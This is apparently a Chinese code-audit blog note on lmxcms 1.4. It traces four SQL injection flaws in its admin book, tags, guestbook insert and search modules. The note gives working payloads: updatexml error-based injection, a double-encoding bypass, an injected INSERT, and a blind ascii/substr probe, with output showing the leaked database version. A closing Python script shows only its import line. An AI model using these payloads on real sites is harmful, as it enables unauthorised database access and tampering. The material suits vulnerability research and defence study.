lmxcms1.4
2022-04-17 14:17:36
环境准备
PHP5.4.45
进来后先安装
该框架漏洞在cnvd
可以找到很多
代码审计
sql注入
后台
基本流程:getReply->parent::selectModel->parent::selectDB->sql
c/admin/BookAction.class.php下存在一处sql查询
这里跟进查询
到db.class.php
在封装的selectDB
方法下
在这里添加一句echo $sql;
注意闭合符号
url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23
前台
TagsAction.class.php
基本流程:getNameData->parent::oneModel->parent::oneDB->sql
接着是
这里封装的p函数
可以看到之类有sql的过滤
同理,在oneDB下加上echo $sql;
这里可以用单引号来闭合,但是会转义
注意到源码
那就来二次编码
可以看到执行成功
1 | SELECT * FROM lmx_tags WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#' limit 1sql语句有误XPATH syntax error: '~5.7.26' |
BookAction.class.php
checkData函数
基本流程:checkData->index::add->parent::addModel->parent::adddDB
老样子,打上输出语句
将需要的参数都添加上
这里是个insert语句
1 | setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1 |
这里看下数据库
我们的数据已经插入
还应该注意一个参数
ischeck=1,可回显,也就是可见
ischeck=0,就是不可见
SerchAction.class.php
基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql
1 | ?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23 |
说明第一个字母是l
可以修改下源码的编码方式继续注入
也可以通过Lxxx师傅的脚本
1 | import requests |
一篇很久之前的文章,如有错误欢迎指出